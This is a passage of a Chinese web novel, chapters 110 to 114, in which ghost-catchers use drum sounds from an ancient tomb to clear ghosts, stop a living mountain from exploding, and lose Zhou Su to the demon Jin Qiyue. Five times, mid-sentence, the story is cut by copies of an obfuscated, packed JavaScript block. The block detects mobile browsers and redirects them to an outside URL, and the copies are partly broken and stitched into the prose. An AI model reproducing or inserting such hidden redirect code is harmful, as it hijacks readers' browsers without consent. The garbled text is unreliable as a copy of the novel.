金绮月慢悠悠地走到兰殊尔面前,冷笑着说:“我超脱世间,世间一切都是我的玩物,至于什么陈青、周夙,都是一样的。” 金绮月嘻嘻笑道:“为了让他们爱上我,我还是花了很多心思的,能让我花心思,他们已经够幸运了。” 110. 等着吃东西 左轻白喃喃:“超脱世间……” 所以,金绮月不可能爱上周夙,因为她对自己的定位是一个超脱于人世间的神通鬼。超脱人世,就不会受限于人间情爱,但她喜欢玩,她把情爱当成玩乐和消遣,反正漫漫的时间长河里她偶尔也会无聊。 “为什么?”左轻白问,“为什么要超脱世间?” 金绮月盯着左轻白看了一会,说:“姐姐,你有没有过任人摆布的经历?” “你有?” “有啊。”金绮月坦荡道,“他们要我离开家我就必须离开家,要我寄人篱下我就必须寄人篱下,要我当什么狗屁助道者,我就必须顺他们的意。” 金绮月说到这,一旁的兰殊尔惊讶出声:“你……你变鬼之前还是个助道者?” 金绮月仿佛没听到兰殊尔的话,她把他当空气。在所有人中,金绮月只在乎左轻白,虽然这份在乎是左轻白骗来的。 金绮月真诚地对左轻白说:“姐姐啊,尝过任人摆布的滋味后,我发誓,从今往后只能我来摆布别人,别人不能摆布我,想要做到这点,我必须拥有在这世上无敌的力量。” “你已经是无敌的了。”左轻白说。 金绮月摇摇头,看着左轻白微笑道:“在你出现之前我是,但你出现后,姐姐,你忘了吗,你曾在路回那个助道者的帮助下重伤过我。” 金绮月微微抬起下巴,表情复杂,她对左轻白说:“你是我的家人,同时也是我的威胁。你出现之后我有了危机感,于是我拼命获取食物和能量,提高自己的修为,我必须保证我的力量远远超过你,保证我能随时压制你,否则我没有安全感。” “食物?苦难就是你的食物,别人过得越苦、越惨,你吃得越饱,要是发生什么大型灾难,上演家破人亡、妻离子散的悲剧,那你就吃得更满足。所以悼青山爆炸从头到尾都是你策划的,这场爆炸会导致很多人间惨剧,你要拿这些人间惨剧来当食物。”左轻白说。 “不算从头到尾。”金绮月却说,“悼青山这座怪山又不是我弄出来的,山里的鬼和结界也与我无关,我不过是三十年前来这里散步,在里面玩了一会,认识了个陈青,仅此而已。” 这时兰殊尔开口说:“可你不会无缘无故让悼青山的种子寄生在陈青身上,而且种子一发芽,悼青山就马上要爆炸了,这不会是巧合。” 左轻白好奇地问:“种子?什么种子?山的种子?山为什么有种子?” 兰殊尔说:“说来话长,反正现在陈青已经死了,变成了一颗种子,周夙也半死不活的了。” 左轻白莫名其妙,“人怎么会变成种子?” 左轻白听不懂,而金绮月听懂了,金绮月嘻嘻一笑,道:“这山虽然岌岌可危,但不会轻易爆炸,这山很有灵性,它要确保自己有后代,只有当它的种子散播出去并生根发芽后,它才会安心爆炸。” 左轻白一头雾水,“什……么?你们在说什么?山还能有后代?” 兰殊尔点头,“是的,它的后代已经在生长了,是一棵树。” “山的后代是棵树?你怎么不说鹅的后代是只鸭呢?”左轻白快崩溃了。 金绮月笑道:“小若姐姐,你真可爱。” 左轻白突然扑上去,抓住金绮月的胳膊。 左轻白的两条眉毛变成了“八”字,在金绮月面前表现出苦苦哀求的样子,她双眼含泪,看起来可怜兮兮。左轻白是个演员,她有演技,演出这副模样对她来说不是难事,她知道金绮月心中唯一的执念是鬼村,对鬼村唯一幸存的“小若姐姐”有像家人一样的感情,于是左轻白试图利用这份感情打动金绮月。 左轻白一把鼻涕一把泪地说:“绮月,你听小若姐姐说,我不会对你造成任何威胁。一来,你那么厉害,就算有助道者在,我也不可能威胁得到你,你的修为已经够高了,没有必要补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449737|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充那么多能量,都是多余的;二来,我们是家人,你难道一点都不信任我吗?” 金绮月哀怨道:“姐姐啊,如果你跟我一起当鬼,我当然信任你;可这一世你偏要去当什么捉鬼师,当然,你要是真喜欢干这个,我不拦着你,但你让我怎么能不防着你?” 金绮月的手抚上左轻白的脸,她深深地凝视着左轻白,“小若姐姐,我爱你,但我更爱我自己。” 左轻白继续恳求:“你要补充能量,就要制造人间惨剧,悼青山一旦爆炸,那便是尸横遍野、遍地残肢。你是吃饱了,但无辜的人怎么办?” 金绮月奇怪道:“我要的就是尸横遍野、遍地残肢。我为什么要考虑别人怎么样?” 忽然,金绮月露出恶作剧般的笑容,她对左轻白说:“你对此就没有责任吗,小若姐姐?如果不是你让我有了危机感,我还真不必着急补充那么多能量。你就不愧疚吗?” 两人僵持。就在这时,一阵奇异的梆子声传入金绮月耳中: “梆,梆,梆……” 本来处于上风的金绮月突然冷汗直冒、头痛欲裂。 悼青山上的结界亮了起来,可以看到,上面有一个诡异的独眼羊图案。 金绮月抬头看了一眼,咬牙道:“怎么可能……” 金绮月后退了两步,她看了看左轻白,又看了看兰殊尔,说:“小若姐姐,还有你这个搭档,今天算你们幸运,我没法在悼青山里久呆,先走一步。不过就算我走了,该发生的也依然会发生,悼青山爆炸已经进入进程,谁也阻止不了。今晚过后,我就等着吃大餐了。” 说完,山间一阵烟雾飘来,金绮月诡异地消失了。她逃了。 梆子声还在继续:“梆,梆,梆……” 兰殊尔道:“她怕这个声音?居然还有她怕的东西?这是个什么声音?” 左轻白松了一口气,说:“路回,是路回在帮咱们。” 111. 这本书真的有用 左轻白带着兰殊尔去古墓。 “你是说,你把你男朋友一个人留在古墓里了?”兰殊尔皱眉道。 “是啊。” 兰殊尔那张扑克脸臭得难看。 “鲁莽。”兰殊尔责怪左轻白,“你男朋友只是助道者,除了能帮捉鬼师提升法力外,他本身没有任何对付鬼怪的能力,你就把他一个人丢在古墓里?” “我留了法宝给他的,我给他留了驱鬼符,还留了随时能召唤我回去的银召圈。”左轻白解释道。 “仅凭驱鬼符和银召圈就可以了?这么做风险有多高,你做风险评估了吗?” 左轻白赶紧把耳朵捂上,“评估评估又评估,第一次见你的时候你还让我画数据分析图,这些花里胡哨的东西有什么用啊?遇到事情干就完事了。” “这不叫花里胡哨,这叫严谨。”兰殊尔很严肃。 “你们那的捉鬼师制度真是把你们培养得束手束脚、不知变通。”左轻白烦他。 话不投机半句多,两人吵了几句就互相不说话。 进了古墓,古墓里灯火通明,都是左轻白点起的照明符。 左轻白带着兰殊尔七拐八拐进入一个墓室,这个墓室没有棺椁,但四周的墙上写着密密麻麻的数学题。 陈青写的《独眼人部落文化研究》里提到,独眼人的数学水平非常高,甚至有可能已经超过了现代数学。 独眼人不使用阿拉伯数字,他们的“1”就是一个点,“2”就是两个点,倒也挺容易识别。 墓室中央有个祭台一样的地方,祭台很大,路回坐在上面,正在安静地写写画画,时不时还拨弄一下祭台上的数字机关。左轻白给的银召圈戴在他手指上,驱鬼符放在他身旁,幸好,左轻白离开的这段时间他没出事。 “他在做什么?这么专注?”兰殊尔问。 “在解数学题,每算完一题,就把答案拨在数字机关上。”左轻白说,“刚才吓退金绮月的梆子声,就是他解开一定数量的数学题后,这座古墓自动发出来的。” 兰殊尔扫了一眼墙上的数学题,很难,基本看不懂。 “你男朋友挺厉害啊。”兰殊尔说。 “当然。我男朋友说,他上学的时候奥数得过奖。”左轻白骄傲地说,仿佛得奖的是她自己。 路回把最后一道题的答案拨在机关上后,才从数学世界中回过神来。 “轻白,你回来了?”路回从祭台上下来,他动了动脖子,坐着算那么久,脖子都酸了。 路回颇有敌意地看了一眼跟左轻白一起来的兰殊尔,并把左轻白往自己这边拽了拽,像是怕兰殊尔抢了他的似的。 路回这人什么都好,就是容易醋,有点啥事就跟醋坛子转世一样。 兰殊尔不跟他计较,兰殊尔拿出陈青写的《独眼人部落文化研究》,非常认真地翻开一页,跟老师上课似的严肃地说:“《独眼人部落文化研究》里说,独眼人的数学水平非常高,甚至有可能已经超过了现代数学。” 路回挑了挑眉,用不客气的语气说:“算算他们留下来的题就知道了,水平确实不低。” 左轻白问:“你来捉鬼抱着几本书做什么?老天,你们那的捉鬼师制度已经僵化到让捉鬼师边翻书边捉鬼的地步了吗?” 兰殊尔面无表情地否认:“没有的事。这是陈青写的研究独眼人文化的书,周夙让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456399|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带过来。” “找到我哥了?”路回急切地问。 兰殊尔点头,“找到了,他情况不太好,但一时半会死不了。我说,既然他是你哥,你真得好好劝劝他,别那么恋爱脑。” “我要是能劝早劝了。”路回语气很不爽,他看兰殊尔就不爽。 “没时间看书了。”左轻白对兰殊尔说,“我说一下现在的情况。悼青山上有结界,结界把悼青山变成了一个封闭的盒子,而悼青山里的情鬼因为长时间缺乏食物的缘故,怨气爆棚,它们的怨气即将把封闭的悼青山撑破,撑破的后果就是整座山爆炸,爆炸摧毁周围的几个镇。为了避免这种结果,我们现在要做的有两件事,一是清理掉悼青山里所有的鬼,二是把结界打开。时间紧急,开干吧!” “你又鲁莽了。”兰殊尔冷静地说,“做计划了吗?就开干?” 兰殊尔淡定地席地而坐,居然翻起了书。 左轻白急得团团转,“这时候还做什么计划啊?别翻书啦!” 两个捉鬼师,一个急性子,一个又冷静得要死,真是两个极端。 就在左轻白着急上火的时候,一旁的路回突然握住了左轻白的手。 真神奇,路回的手一握上来,左轻白的心仿佛忽然之间安静了下来。 左轻白看了一眼路回,虽然路回没有对付鬼怪的能力,但不知为何,此时左轻白觉得路回身上充满能量,他在用这种能量安抚着她。 路回朝左轻白笑了笑,用自己的手拍了拍左轻白的手背。 “别着急。”路回醇酒一样的声音传来,他看了一眼正在翻书的兰殊尔,对左轻白说:“先看看,说不定这本书真的有用。” 112. 万劫不复 陈青在《独眼人部落文化研究》中记录了一个神奇的民族。 这个民族的人天生只有一只眼睛,这应该是一种基因缺陷导致的畸形,但在独眼人的认知中,这种畸形不是畸形,是正常的,长了两只眼睛的才叫畸形。 于是独眼人把所有出生就长有两只眼睛的正常小孩当成恶魔杀掉,只留下一只眼睛的小孩,长此以往,两只眼睛的基因就在这个民族中被清除了,这个民族只剩下一只眼的人。 正如汉族的图腾是龙,苗族的图腾有牛、鸟等,独眼人民族也有图腾,独眼羊是他们的图腾,同时也是守护神,所以在他们的墓葬中经常可以见到独眼羊壁画。 独眼人部落自古以来一直生活在悼青山中,从未离开过,在他们的传说里,山外面全是长着两只眼睛的畸形怪物,非常可怕。 陈青在书里写道,什么是正常、什么是畸形,或许并不是绝对的,它们是相对的概念。在一个群体中,跟大多数一样的就是正常,跟大多数不一样就是畸形;但在另一个群体中,这种畸形和正常有可能反过来。 独眼人有着非常高的数学水平和天文水平,他们在数学和天文上的成就不输于现代人,但是医学非常落后,社会仍然停留在奴隶社会,没有得到发展。 独眼人非常信奉鬼怪,那是因为山里真的有鬼,写到这里,或许在普通人看来是陈青魔障了,突然搞起了迷信,但在兰殊尔和左轻白这两个捉鬼师眼里却再正常不过。 独眼人世代与悼青山里的鬼共同生活,为了生存,他们发明出了非常厉害的驱鬼术。 这种驱鬼术左轻白和兰殊尔已经见识过了,就是成功驱赶了金绮月的那阵梆子声。 “梆,梆,梆,梆……”只要听到这种梆子声,四周的鬼就会头痛欲裂,难受得纷纷逃离。 悼青山很大,声音的传播距离有限,为了使梆子声响起时能覆盖整座悼青山,独眼人想了个办法,他们用巫术在悼青山上盖了个回声罩,这样一来,只要驱鬼的梆子声响起,整座悼青山都会有回声,“梆,梆,梆,梆”,这样的声音可以震慑整座山的恶鬼,警告它们不许轻举妄动。 这个回声罩,就是左轻白和兰殊尔看到的结界;这个结界,又是致使悼青山爆炸的因素。 梆子声不光有震慑作用,如果改变梆子声的节奏,还可以起到控制恶鬼的作用,若把梆子声的节奏改成三长一短,悼青山里的鬼就会像提线木偶一样以古墓为中心全部聚拢过来。 看完之后,古墓里的三人都有了主意。 路回拉了拉左轻白的手,说:“你不是说这座山太大,里面的鬼一个个杀杀不完吗?正好可以利用棒子声,把山里的鬼都吸引到这里来,来个一举歼灭。” “好主意!”左轻白一只手回握住路回的手,另一只手则伸出去,路回知道她想干什么,也伸出手跟她来了个击掌。 小情侣默契十足,一伸手就知道对方要干什么。 电灯泡兰殊尔合上书,冷冷地说:“现在谁还说看书是浪费时间?” “当然不是,看书真的有用!”左轻白笑眯眯地一拍手。 “周夙坚持让我带这些书过来,看来他早就料到了。如果他肯当捉鬼师,一定是一个不错的捉鬼师,可惜……”兰殊尔欲言又止。 “解数学题就能发出梆子声吗?”兰殊尔问路回。 “对。” “那怎么改变梆子声的节奏?” “解另一组题。”路回指着墓室墙上密密麻麻的题目说。 “就这么简单。” “你要是觉得简单,你上?” 兰殊尔摇摇头,“我有自知之明,我搞不定,还得你来。”他拍了拍路回的肩膀,郑重道:“拜托了。” “我觉得奇怪。”左轻白突然说,“陈青的书里说,独眼人的数学水平虽然高,但只有长老有资格学习数学,奴隶没资格。所以为什么要把启动梆子声的门槛设置得这么高?万一需要驱鬼的时候长老不在,奴隶们又不懂数学,那该怎么办?” “他们就是要设置门槛,把驱鬼的技能牢牢掌握在长老手中。”路回说。 “为什么?既然与鬼为伍,这种技能不应该每个人都会吗?” “以前我们还是奴隶社会的时候,也只有权贵能识字上学,奴隶没资格。”路回做了个类比。 想让奴隶永远当奴隶,就要让他们永远接触不到文化知识。这个道理,悼青山外的人懂,悼青山里的独眼人也懂。 三人行动了起来。路回继续解题,启动梆子声,把悼青山所有的鬼都吸引到古墓来;左轻白和兰殊尔两个捉鬼师守株待兔,在古墓周围布下捉鬼阵,等着这些鬼自投罗网。 先捉鬼,然后打开结界,让堵塞在山里的怨气散出去,悼青山爆炸危机就能解除。 这边,三个人都在努力,另一边,周夙孤零零地呆在陈青的小屋里。 周夙在打坐,他在调整呼吸,一楼的怪树还在生长,周夙现在不能情绪激动,他一激动,血肉就会被怪树吸收得越快。 但凡是修行者都知道,打坐的时候应该清空脑袋,但周夙做不到,周夙只要一闭上眼,脑子里就都是金绮月的模样。 周夙的伤口还在流血,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466348|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失血过多的缘故,周夙的脑子有些晕。 昏昏沉沉中,周夙好像做了一个梦,恍惚间他好像看到金绮月走进了房间,在他面前蹲了下来。 “呀,你怎么流了这么多血?”金绮月看着他,露出心疼的表情。 金绮月温柔地抚上周夙的眼睛,说:“很疼是吧?没关系,睡一觉,一觉醒来就不疼了。” 周夙闻言睡去。 醒来时,周夙发现自己躺在家里的床上,金绮月坐在一旁削苹果,见周夙醒来,金绮月灿烂地一笑,说道:“你醒啦?” 金绮月把削好的苹果递给周夙,周夙摇摇头。 “不想吃?”金绮月把苹果放到一旁,“那就不吃吧。” 金绮月用手肘撑着床,双手托着下巴,含情脉脉地看着周夙,甜甜地唤道:“瑾安小哥哥。” 周夙一愣,“你……你叫我什么?” 金绮月笑眯眯地说:“我叫你瑾安小哥哥。” “你认出我了?”周夙满脸震惊。 “是啊。”金绮月抓起周夙的一只手,把那只手放在自己脸上,甜丝丝地说:“你藏得不好,我把你认出来啦,瑾安哥哥。” 金绮月神秘兮兮地一笑,歪了歪脑袋,又道:“或许我不应该叫你瑾安哥哥,我应该叫你……夫君。” 金绮月像颗奶糖一样甜,她凑近周夙,用自己的额头抵着周夙的额头,轻笑着说:“你我已经是夫妻啦,不是吗?” 周夙的心重重颤了一下。 周夙猛的一睁眼。他发现,自己还在陈青的小屋中,依然孤零零的一个人,金绮月根本就没有出现,刚才的一切都是他的幻想。 周夙的心落了下去。 是啊,一切只是幻想而已。金绮月怎么可能帮他削苹果?拿水果刀削他还差不多。 人的幻想藏着人的期待。周夙无奈地笑了笑,他知道他心底对金绮月是存着期待的,他期待金绮月能像他幻想中的那样爱他。 尽管周夙曾对金绮月说过“你不用爱我,我爱你就够了”这样的话,可人都是贪心的,怎么可能就这样“够了”? 但周夙的期待跟毒药没什么区别,这种期待只会拉着他沉沦、淹没,直至万劫不复。 “你被你投靠的那个恶鬼牺牲了。她对你真是半分情意都没有。” “她骗了陈青,也骗了你。” 兰殊尔的话在周夙耳边响起。 她让我来送那一盒黑泥,就应该知道我会被那棵怪树吃掉,她把我当祭品祭献给了那棵怪树。对于她来说,我就是一个可以随便牺牲的人?周夙不停地想。 113. 面面相觑 悼青山,古墓。 “梆——,梆——,梆——,梆。” …… 在特殊节奏的梆子声中,山里所有的鬼都聚集到了古墓外。 古墓外有左轻白和兰殊尔联手布下的捉鬼阵,这些鬼在梆子声的操控下,如提线木偶一般一个接一个地走入捉鬼阵,然后灰飞烟灭。 清除山里的鬼,算是完成了第一步,接下来还有第二步,那就是打开结界,让堵在山中的怨气疏散出去,减轻悼青山的压力,阻止悼青山山体在巨量怨气的挤压下轰然爆炸,危及周围。 “这事好办。”左轻白仰头看着挂着大锁、印着独眼羊图腾的结界,结界如一个大钟罩一样罩在悼青山上空。左轻白捏了捏手指,说了一句:“大力出奇迹!” “你想干什么?”兰殊尔预感不妙。 金色巨剑出现在左轻白手中,左轻白双手举剑,突然助跑借力,腾空一跃,用尽全身力量提剑往结界上那把大锁劈去。 “咚!”一声闷响,大锁因撞击火花四溅。 悼青山外的宾馆中住着剧组人员,从宾馆的阳台往外看,可以看见远处的悼青山。武术指导沈放站在阳台上抽烟,突然,他看到远处的夜空中居然蹦出了火花,沈放揉揉眼睛,自言自语道:“奇怪,大半夜的哪个傻逼在山上放烟花?” 结界上的大锁被左轻白大力一劈,出现了裂纹。 左轻白口中念念有词,金色巨剑变得更大,她再次提起剑,冲着大锁又是一砍! 左轻白狂劈大锁七八下后,大锁居然生生被她劈开了。 兰殊尔在一旁看得目瞪口呆。 牛逼,果然大力出奇迹。 大锁从结界上落了下来。紧接着,结界渐渐出现裂痕,裂痕渐渐变大,变成了一个洞;这个洞不停地变大、再变大。 堵塞在山中的怨气从大洞散了出去,挤压着悼青山的压力逐渐消散,没有了这股压力的压迫,正在微微颤抖的山体渐渐恢复平静,悼青山稳定了下来。 结界落下,悼青山像个被憋了许久的人一样重重地呼吸了一口气,一阵风刮过,它好像在说:“好舒服啊!一身轻松啦!” 这一瞬间,左轻白仿佛感受到了悼青山的生命力。 悼青山不是一般的山,它是有生命的。 至此,悼青山爆炸危机解除。 路回走到左轻白身边,左轻白正在揉她的手,路回抓起左轻白的手,左看右看,问:“没受伤吧?” “没有。就是震得有点疼。” 路回握着左轻白的手,在上面哈了哈气,并揉了许久。 兰殊尔一直在用一种古怪的眼神看左轻白,看了许久,他才终于蹦出一句:“牛逼。” “这里搞定了,走吧,回去吧。”兰殊尔对左轻白和路回说,“去救周夙。” 三人离开悼青山,赶去陈青的小屋。然而有一个人在他们之前来到了陈青的小屋。 是金绮月。 推开大门就是客厅,客厅中央的地板上放着一个木盒,木盒里装着黑泥,从黑泥中长出一棵怪树。 之前兰殊尔也看到了这棵怪树,当时怪树问兰殊尔:“你有爱人吗?” 然而此时怪树见到金绮月,非但没有说话,反而开始发抖,它抖得跟筛子一样,树枝尖尖朝着金绮月的方向弯了下去,仿佛在对金绮月俯首称臣。 它在害怕,害怕金绮月。 金绮月冷冷地扫了怪树一眼。 忽然,木盒在缩小,连带着怪树也跟着变小,它们变得只有一个小摆件般大小,最后落到金绮月手心里。 金绮月变出一个透明玻璃盒子,把它们装进去,轻松地放进自己的精致小挎包里。 金绮月前往二楼,她找到周夙所在的房间,推门进去。 周夙正在打坐,听到声响后睁开眼睛,看到金绮月进来时他愣了一下,他幻想中的场景居然出现了。 金绮月还穿着颁奖典礼上的礼服,她今天的礼服由特殊的定制面料所制,走起路来裙摆波光粼粼,整个人美如下凡的仙子。 可惜,长得像仙子的不一定是仙子,还有可能是恶魔。 周夙流了很多血,但金绮月并没有像周夙幻想中的那样关心他,地上那一滩血,金绮月像是没看到似的。 金绮月永远不可能成为周夙幻想或期待的那个人,这一点,周夙何尝不知道。周夙应该停止幻想,直面现实,但总有一个声音在周夙心底说:“万一呢,万一期待成真了呢……” 期待给人希望,期待也给人痛苦。对周夙来说,他宁愿相信希望。 周夙意识到自己可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473078|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有点疯,可他就是清醒地疯下去了,有什么办法? 金绮月看着窗外,说:“他们阻止了悼青山爆炸。” “所以你让我来这一趟,就没有意义了。”周夙说。 “怎么没有意义?”金绮月说,“我让你把黑泥带过来,把你祭献给悼青山种子,助它生根发芽,长成大树,怎么没有意义?” 她对待周夙的态度冷冰冰的,丝毫没有周夙幻想中的半分温柔。 幻想是假的,一切都是假的,可惜有人明知是假,却依然沉沦。 “你想方设法让悼青山的种子长大,不就是为了让悼青山爆炸吗?这悼青山真有意思,非得确保自己有后代,才能安心自毁,否则还能硬撑一段时间,是吧?”周夙说。 金绮月冷笑,“你懂的倒挺多。” “我猜的。” “悼青山有自己的思想,它跟人是一样的。”金绮月慢悠悠地说。 金绮月从小挎包里拿出透明玻璃盒子,怪树被她变小装在里面。 金绮月拿给周夙看,并说:“这东西我会带走,你这一趟来,不是白来。悼青山虽然没爆炸,我想看到的灾难也没看成,但也算小有收获。” “这东西有什么用?”周夙问。 “这不是你该问的。”金绮月说。 金绮月走到周夙面前,手掌抚上周夙的天灵盖。周夙突然感到一阵剧痛,剧痛过去,他定眼一看,只见金绮月从他天灵盖中拔出了一条黑筋。 “我切断了你跟这棵树的共体联结,你自由了。”金绮月说。 突然,金绮月换了副人畜无害的表情,笑嘻嘻地凑近周夙,嗲声嗲气地哄道:“别怪我利用你啦,我只是小小地利用了一下下而已,但我并没有要害你性命呀,你瞧,我这不是赶过来救你了吗?我可一点都不舍得让你死呢!” 周夙只是看着她。 当左轻白、路回、兰殊尔三人赶到陈青的小屋时,金绮月已经把周夙带走了,那棵怪树也不见了。 作为一只神通鬼,金绮月所到之处不会留下鬼气,但左轻白他们依然知道是金绮月来过了,原因很简单,因为金绮月留了一张纸条给他们。 金绮月在纸条上写道,周夙她带走了,怪树她也带走了,下次见。 三人在小屋中面面相觑。 114. 脾气不是太好 悼青山片场,一辆外表低调价格不低调的宾利停在片场外。 路回在车里工作,他正在跟下属开一个小型视频会议,沟通工作上的一些事,顺便等正在拍戏的左轻白。 路回开完会,关闭会议软件,他一转头,正好看见左轻白的脸出现在车窗外。 左轻白笑眯眯地看着他。 路回对左轻白说:“你拍完戏了?怎么不叫我一声?” “你在开会,我不想打扰你。”左轻白打开车门,大大方方地坐了进来。 左轻白道:“我不是主角,戏份少,拍完了就可以走了。” “对了。”左轻白想到一件事,问路回:“你那飞机怎么处理?” “找人帮忙开回去。”路回说。 “我只知道汽车有代驾,没想到私人飞机也有。果然贫穷限制了我的想象力。” 路回微微一笑,他启动车辆,说:“走,带你兜风去。” “好啊好啊,悼青山景区风景可好了,随手一拍都是大片;空气也好,出了名的氧吧!” “正好让我这个吸惯了雾霾的肺修复一下,对吧?”路回自嘲,上次左轻白说他天天在大城市吸雾霾。 左轻白“格格”笑道:“我跟你开玩笑你也记得。” “不敢不记得,要是我说不记得,你动手打我,我可不是你这位金牌捉鬼师的对手。”路回笑道。 “呸,我是那种随意打人的人吗?” 说着,左轻白打开路回车上的广播,“听个广播吧。”左轻白说。 广播中,女主持人用好听的声音娓娓道来: “悼青山独眼人部落遗址的发掘工作正在进行,为什么深山中会存在这样一个奇异的部落,这个部落有着多么独特的文化,它又是怎么突然消失的?种种谜团等待解开……” “陈青博士用三十年的时间驻守悼青山,研究悼青山文明,他留下的巨作《独眼人部落文化研究》,是研究独眼人部落文明最重要的钥匙。然而,陈青博士突然失踪,下落不明,所有人都非常焦心,希望有知情人士能够提供线索,尽快找到陈博士……” 听到这里,左轻白眼神一黯,道:“我们没法向警局解释陈青博士变成了一颗种子,种子长成了树,只好让所有人以为他失踪了。” 那天晚上去陈青家找周夙的路上兰殊尔把原委告诉了左轻白和路回,虽然匪夷所思,但大家都相信了。 “金绮月让陈青等了三十年,只是想让寄生在陈青身上的悼青山种子有足够的时间长大,直至把陈青吞噬。她根本不会再见他,她骗了他三十年。”左轻白道。 路回一边开车一边说:“可在这三十年里,陈青写出了《独眼人部落文化研究》,这是一部传世著作,为研究独眼人文明做出了很大贡献,他的三十年是有价值的。” 说到独眼人,左轻白叹了口气,恨铁不成钢地说:“独眼人的数学水平和天文水平非常先进,社会却一直停滞不前,他们怎么就不走出来看看?” “因为太相信自己的认知了吧。”路回说,“他们害怕外面的世界,认为外面的世界是危险的,对此深信不疑。” 左轻白想了想,道:“但怎么能不怕呢?在悼青山殉情并变成情鬼的都是两只眼睛的人,独眼人在山里看到的两只眼的玩意都是鬼,所以他们自然而然地认为两只眼的都不是好东西,而山外的人都有两只眼睛,他们怎能不害怕?” “人的固有思维是很难被打破的,就好比在遇见你之前,我也深信不疑地认为这世界上是没有鬼的。”路回道。 左轻白摇头晃脑地笑道:“所以遇到我是颠覆你的世界观了?” “不,是推开一扇门,来到了新的世界。” 车子在蜿蜒的盘山公路上继续行驶,窗外的风吹进来,带着芳草和树木的清香。 “对了。”路回问:“独眼人部落为什么突然消失了?他们有独特的驱鬼手段,应该不是被山里的鬼害死的吧?” “不是。”左轻白道。“他们是被自己害死的。” “为什么?” “陈青的《独眼人部落文化研究》中破译了独眼人的文字,破译之后就能看懂古墓里石碑的内容,石碑上记载,曾出现了连续三年的天灾和干旱,导致悼青山里没有食物收成,大家快饿死了,长老们就要求奴隶们把自己的身体奉献出来给他们食用。” “人吃人?这么野蛮?” “就是因为太野蛮和太不公平,有一半的奴隶反抗了,但另一半奴隶依然忠心于长老,两拨人打了起来,最后全部同归于尽。” “如果他们走出森林看看,或许就不是这样的结果。” “可他们就是不敢出来,他们恐惧外界,这事无解。”左轻白说。 车子又往前开了一段距离,左轻白问路回:“你哥怎么样了?” “我跟他通过电话。”路回说,“他已经回到家了,他说他很好。” “被金绮月伤害过一次,他分手了没有?” “没有。” 左轻白无可奈何地捏了捏自己的眉心,“我就不该问这个问题……” “我有些担心。”路回说,“你对金绮月撒的那个谎,还能瞒多久?毕竟金绮月很聪明。” 左轻白骗金绮月自己是鬼村小若的转世,金绮月信了,但她能信多久? 左轻白把头转向窗外,说:“金绮月很聪明,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496076|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好骗。” “所以我担心你,我怕她识破谎言后会暴怒。” 左轻白继续道:“她在别的事上不好骗,唯独在这件事上,她未必有那么聪明。一个人想要死后成鬼,首先要有执念,鬼村就是金绮月的执念,也是软肋,人在软肋面前做不到多么理智,鬼也一样。”左轻白说。 左轻白忽然把头转向路回,笑眯眯地对他说:“知道我为什么会有这样的认识吗?” “为什么?” “因为你就是我的软肋呀。”左轻白摇头晃脑,满脸笑容。 路回转头看了左轻白一眼,只见阳光从车窗外洒进来,落在她身上,左轻白整个人都在发光。 路回突然很想接吻。 接吻就接吧。于是路回把车停在路边,左轻白还没反应过来他想干什么,他就已经吻了上来。 这个吻绵长而深入,有温柔的爱意,也有宣示主权的侵略性。 吻完,两人见路边有个台阶,台阶上立着路标,路标指示从这往上走有一个观景台。这个观景台在社交媒体上小有名气,据说很出片,来悼青山游玩的人都要来打卡。 两人走上了台阶。 